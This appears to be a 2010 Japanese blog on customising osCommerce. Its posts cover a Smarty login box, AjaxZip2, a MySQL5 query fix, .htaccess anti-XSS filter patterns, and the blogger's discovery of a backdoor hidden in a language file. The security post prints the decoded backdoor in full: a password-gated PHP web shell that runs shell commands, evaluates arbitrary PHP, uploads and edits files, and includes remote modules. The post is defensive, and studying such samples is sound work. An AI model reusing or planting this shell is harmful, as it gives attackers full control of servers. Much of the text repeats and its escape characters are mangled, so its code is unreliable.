シンプルな対策としてhtaccessに以下を記述
攻撃者に対して返すファイルを設置(fuckyou.php)
#アンチXSS(クロスサイトスクリプト対策)
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*¥(.*¥) [OR]
RewriteCond %{QUERY_STRING} (¥<|%3C).*script.*(¥>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (¥<|%3C).*iframe.*(¥>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|¥[|¥%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|¥[|¥%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ fuckyou.php [F,L]
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
2010/01/26
base64_decode - セキュリティ強化
ラベル:
oscommerce、カスタム
なにげに言語ファイルを覗いていると、言語ファイルの冒頭に
なるものを発見
base64_encorderで内容をエンコードしてみると以下のようになる。
どうも悪意のある書き込みなのでセキュリティーの修正をしなければ。。
本家の修正案を考慮して〜
やっておくべきこと
管理フォルダのリネーム ◯簡単なのでこれから
インジェクションアタック対策 ◯これも修正済み
監視モニタの設置 ◯入れてみた
IPトラップ ×いろいろ影響出そうなのでスルー
管理フォルダのhtaccessでBASIC認証 ×いつでもできるしパスワードが増えるのは面倒
クロスサイトスクリプトの修正 ◯割と簡単、効果あるかな?
とりあえずこんだけすりゃ大丈夫かな?
<?php if(isset($_GET['lave']) || isset($HTTP_GET_VARS['lave'])) eval(base64_decode('ごにょごにょ')?>
なるものを発見
base64_encorderで内容をエンコードしてみると以下のようになる。
@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');
$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();
$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();
$pw_pls="<form method=post><input type=text name=pw></form>";
if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='a5dc497c9784a67b0ae8503c9ea4c74f') exit($pw_pls);
$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";
if (!empty($_POST['usemodule'])) include($_POST['usemodule']);
$work_dir = getcwd();
if (strpos($work_dir,"??")!==false) $work_dir=str_replace("??","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;
if (is_dir($cd)) chdir($cd);
$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;
if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);
if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$uploaddir = ereg_replace('/+', '/', $cd."/");
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}
if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}
if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit?n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {
if (!$safemode)
{
if ($os=='win')
{
$cmd = "dir ".str_replace("/","??",$cd);
$retval = magic_execute($cmd);
}
else
{
$cmd = "ls -la ?"$cd?"";
$retval = magic_execute($cmd);
}
}
if (empty($retval))
{
$dir=$cd;
if($curdir = @opendir($dir)) {
while($file = readdir($curdir)) {
if($file != '.' && $file != '..') {
$srcfile = $dir . '/' . $file;
if(is_file($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."?n";
else $retval .= "-- ".$file."?n";
} elseif(is_dir($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."?n";
else $retval .= "d- ".$file."?n";
}
}
}
closedir($curdir);
} else $retval = "Cant open directory?n";
}
}
$id_exec = "cant get uid,gid";
if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}
echo '<HTML><BODY onload="document.getElementById(?'cdfocus?').focus();"><HR>';
echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
echo "<HR>";
if (isset($need_save_button)) echo "<FORM method=post>";
echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
if (isset($retval)) echo htmlspecialchars($retval);
echo '</TEXTAREA>';
if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
echo "<HR><FORM method=?"POST?">$pw";
echo "<table><tr><td>dir:</td><td width=?"100%?"><input type=?"text?" style=?"width:100%;?" id=?"cdfocus?" name=?"cd?" value=?"".htmlspecialchars($cd)."?"></td></tr>".
"<tr><td>run:</td><td><input type=?"text?" style=?"width:100%;?" name=?"run?" value=?"?"></td></tr>".
"<tr><td>edit:</td><td><input type=?"text?" style=?"width:100%;?" name=?"edit?" value=?"".htmlspecialchars($edit)."?"></td></tr>".
"</table>".
"<input type=?"submit?" value=?"OK?"></FORM>";
echo "<hr><form enctype=?"multipart/form-data?" method=?"post?">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=?"hidden?" name=?"MAX_FILE_SIZE?" value=?"15000000?" />upload: <input name=?"userfile?" type=?"file?" /><input type=?"submit?" value=?"upload?" /></form><hr>";
echo "<form method=post>$pw<textarea style=?"width:100%;height:100px;?" name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
echo "use module: <form method=post>$pw<input type='text' name='usemodule'> <input type=submit value='use'></form><hr>";
echo "</BODY></HTML>";
exit();
function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}
function magic_execute($cmd)
{
$res=false;
if (function_exists('exec'))
{
@exec($cmd,$res);
$res = join("?n",$res);
}
else
if (function_exists('shell_exec'))
$res = @shell_exec($cmd);
else
if (function_exists('system'))
{
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if (@is_resource($f = @popen($cmd,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}
どうも悪意のある書き込みなのでセキュリティーの修正をしなければ。。
本家の修正案を考慮して〜
やっておくべきこと
管理フォルダのリネーム ◯簡単なのでこれから
インジェクションアタック対策 ◯これも修正済み
監視モニタの設置 ◯入れてみた
IPトラップ ×いろいろ影響出そうなのでスルー
管理フォルダのhtaccessでBASIC認証 ×いつでもできるしパスワードが増えるのは面倒
クロスサイトスクリプトの修正 ◯割と簡単、効果あるかな?
とりあえずこんだけすりゃ大丈夫かな?
2010/01/24
oscommerce smartyにコントリビューションの移植
ラベル:
smarty、oscommerce
oscommerceをsmartyでデザインとロジックに分離した
alterというバージョンが存在する。これにログインボックスをつけてみる。
まずは簡単なコントリビューションからいってみよう。
本家にいってこれをDL (Login box 1.0)
http://www.oscommerce.com/community/contributions,645/page,6
smartyへ登録するために必要なのは基本的に以下の2行のみ。
$this->box_smarty_obj->assign("login_box_hedding_title",BOX_LOGINBOX_HEADING);
$this->box_smarty_obj->assign("login_box_contents",$loginboxcontent);
この2行でほとんどが対応可能。1行目でBOXのヘッダ部分を登録し、
2行目でBOXのコンテンツ部分の登録になります。
loginbox.phpでは、中で直接BOXを表示するためにHTMLが記載されています。
$loginboxcontentという変数に表示内容が設定されています。infoBoxHeadingやinfoBoxを生成していますが、これはBOXのヘッダ部分とコンテンツ部分の枠を作成する関数なので、smartyの場合は不要です。なぜなら、これらはtemplateに記載するためなので、
$loginboxcontentをsmartyに登録するだけでいいことになります。
どこを修正したかわかりやすいように不要な部分はコメントアウトにしました。
ほとんどコメントアウトし表示するためのデータをsmartyのオブジェクトにassignするだけです。
loginbox.phpを呼び出す
require(DIR_WS_BOXES . 'loginbox.php'); // 追加
templateに追加するには
これでよい(htmlで装飾するのもアリ)
alterというバージョンが存在する。これにログインボックスをつけてみる。
まずは簡単なコントリビューションからいってみよう。
本家にいってこれをDL (Login box 1.0)
http://www.oscommerce.com/community/contributions,645/page,6
smartyへ登録するために必要なのは基本的に以下の2行のみ。
$this->box_smarty_obj->assign("login_box_hedding_title",BOX_LOGINBOX_HEADING);
$this->box_smarty_obj->assign("login_box_contents",$loginboxcontent);
この2行でほとんどが対応可能。1行目でBOXのヘッダ部分を登録し、
2行目でBOXのコンテンツ部分の登録になります。
loginbox.phpでは、中で直接BOXを表示するためにHTMLが記載されています。
$loginboxcontentという変数に表示内容が設定されています。infoBoxHeadingやinfoBoxを生成していますが、これはBOXのヘッダ部分とコンテンツ部分の枠を作成する関数なので、smartyの場合は不要です。なぜなら、これらはtemplateに記載するためなので、
$loginboxcontentをsmartyに登録するだけでいいことになります。
どこを修正したかわかりやすいように不要な部分はコメントアウトにしました。
<?php
*osCommerce, Open Source E-Commerce Solutions
http:www.oscommerce.com Copyright (c) 2002 osCommerceReleased under the GNU General Public LicenseIMPORTANT NOTE:This script is not part of the official osC distribution
but an add-on contributed to the osC community. Please
read the README and INSTALL documents that are provided
with this file for further information and installation notes.loginbox.php - Version 1.0
This puts a login request in a box with a login button.
If already logged in, will not show anything.
*
?>
<!-- loginbox -->
<?php
if (!tep_session_is_registered('customer_id')) {
?>
<!--不要なので削除
<tr>
<td>
-->
<?php
以下も不要なので削除
$info_box_contents = array();
$info_box_contents[] = array('align' => 'left',
'text' => BOX_LOGINBOX_HEADING
);
new infoBoxHeading($info_box_contents, false, false);
$loginboxcontent = "
<table border="0" width="100%" cellspacing="0"cellpadding="0">
<form name="login" method="post" action="" . tep_href_link(FILENAME_LOGIN, 'action=process', 'SSL') . "">
<tr>
<td align="left" class="boxText">
" . BOX_LOGINBOX_EMAIL . "
<td>
<tr>
<tr>
<td align="left" class="boxText">
<input type="text" name="email_address" maxlength="96" size="20" value="">
<td>
<tr>
<tr>
<td align="left" class="boxText">
" . BOX_LOGINBOX_PASSWORD . "
<td>
<tr>
<tr>
<td align="left" class="boxText">
<input type="password" name="password" maxlength="40" size="20" value="">
<td>
<tr>
<tr>
<td align="center" class="boxText">
" . tep_image_submit('button_login.gif', IMAGE_BUTTON_LOGIN) . "
<td>
<tr>
<form>
<table>
"; 以下も不要なので削除
$info_box_contents = array();}
$info_box_contents[] = array('align' => 'center',
'text' => $loginboxcontent
);
new infoBox($info_box_contents); smartyに表示内容を登録する処理を追加
$this->box_smarty_obj->assign ("login_box_hedding_title",BOX_LOGINBOX_HEADING);
$this->box_smarty_obj->assign("login_box_contents",$loginboxcontent);?>
<!-- 以下は不要なので削除
<td>
<tr>
-->
<?php
}
else
{
If you want to display anything when the user IS logged in, put it
in here... Possibly a "You are logged in as :" box or something.
特に記載する必要なし。
}
?>
<!-- loginbox_eof -->
ほとんどコメントアウトし表示するためのデータをsmartyのオブジェクトにassignするだけです。
loginbox.phpを呼び出す
require(DIR_WS_BOXES . 'loginbox.php'); // 追加
templateに追加するには
{if $login_box_contents}
<!-- loginbox_info //-->
{$login_box_hedding_title}
{$login_box_contents}
<!-- loginbox_info_eof //-->
{/if}
これでよい(htmlで装飾するのもアリ)
2010/01/23
ツイッターAPI
ラベル:
JavaScript
ブログやホームページなどに貼る用に書いてみました〜
ツイッターユーザー名を書き換えてコピペ
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
<script>
new TWTR.Widget({
version: 2,
type: 'profile',
rpp: 5,
interval: 6000,
width: 230,
height: 300,
theme: {
shell: {
background: '#333333',
color: '#ffffff'
},
tweets: {
background: '#000000',
color: '#ffffff',
links: '#4aed05'
}
},
features: {
scrollbar: false,
loop: false,
live: true,
hashtags: true,
timestamp: true,
avatars: true,
behavior: 'all'
}
}).render().setUser('ツイッターユーザー名').start();
</script>
ツイッターユーザー名を書き換えてコピペ
2010/01/22
oscommerceにAjaxZip2を実装
ラベル:
oscommerce、カスタム
通販で住所を登録するのが面倒なので、郵便番号を入力すると
住所が自動で入力されるAjaxZip2を実装してみる。
ダウンロードはこちら
で肝心のoscommerceで住所を入力するところといえば
../catalog/create_account.phpなのですが
項目のモジュールは../catalog/includes/account_details.phpですね
まずはこの二つのファイルをバックアップ
ダウンロードしたファイルを/catalogにアップロード
簡単な所から書き換えるとcreate_account.phpのhead内に以下を追記
次は../includes/modules/account_details.phpの145行目あたりに
住所が自動で入力されるAjaxZip2を実装してみる。
ダウンロードはこちら
で肝心のoscommerceで住所を入力するところといえば
../catalog/create_account.phpなのですが
項目のモジュールは../catalog/includes/account_details.phpですね
まずはこの二つのファイルをバックアップ
ダウンロードしたファイルを/catalogにアップロード
簡単な所から書き換えるとcreate_account.phpのhead内に以下を追記
<script src="ajaxzip2/prototype.js"></script>
<script src="ajaxzip2/ajaxzip2.js" charset="UTF-8"></script>
<script>AjaxZip2.JSONDATA = 'ajaxzip2/data';</script>
次は../includes/modules/account_details.phpの145行目あたりに
// postcodeこんなところがあるので
if ($is_read_only == true) {
$a_value = $account['entry_postcode'];
} elseif ($error) {
if ($entry_post_code_error == true) {
$a_value = tep_draw_input_field('postcode') . ' ' . ENTRY_POST_CODE_ERROR;
} else {
$a_value = $postcode . tep_draw_hidden_field('postcode');
}
} else {
$a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;
$a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;コレにkawa.netさんのマニュアルのようになる風に書き換え
$a_value = tep_draw_input_field('postcode', $account['entry_postcode'],'onKeyUp="AjaxZip2.zip2addr(this,\'state\',\'city\',null,\'addr\',\'street_address\');"') . ' ' . ENTRY_POST_CODE_TEXT;この二つのファイルをアップロードして完了!(5分かからんな)
2010/01/21
1054 - Unknown column 'p.products_id' in 'on clause'
ラベル:
oscommerce、エラー
oscommerceをMySql5で使うときの編集方法
まずこの行をさがす(/catalog/default.phpの170~190)
もう一カ所はこの文中の
advanced_search_result.phpにも似たような行があるのでコレも修正
まずこの行をさがす(/catalog/default.phpの170~190)
// We are asked to show only a specific categoryこの中で以下の文を探し
$listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "'";
from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left joinカッコで括る
from (" . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c) left joinここはこれでよし
もう一カ所はこの文中の
// We show them allこの行を探し、またカッコで括る
$listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id where p.products_status = '1' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$current_category_id . "'";
}
from ((" . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p) left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c) left joinコレで良い
advanced_search_result.phpにも似たような行があるのでコレも修正
$from_str = "from " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m using(manufacturers_id), " . TABLE_PRODUCTS_DESCRIPTION . " pd left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_CATEGORIES . " c, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c";これもカッコで括る
$from_str = "from ((" . TABLE_PRODUCTS . " p) left join " . TABLE_MANUFACTURERS . " m using(manufacturers_id), " . TABLE_PRODUCTS_DESCRIPTION . " pd) left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_CATEGORIES . " c, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c";参考ページはココ
登録:
投稿 (Atom)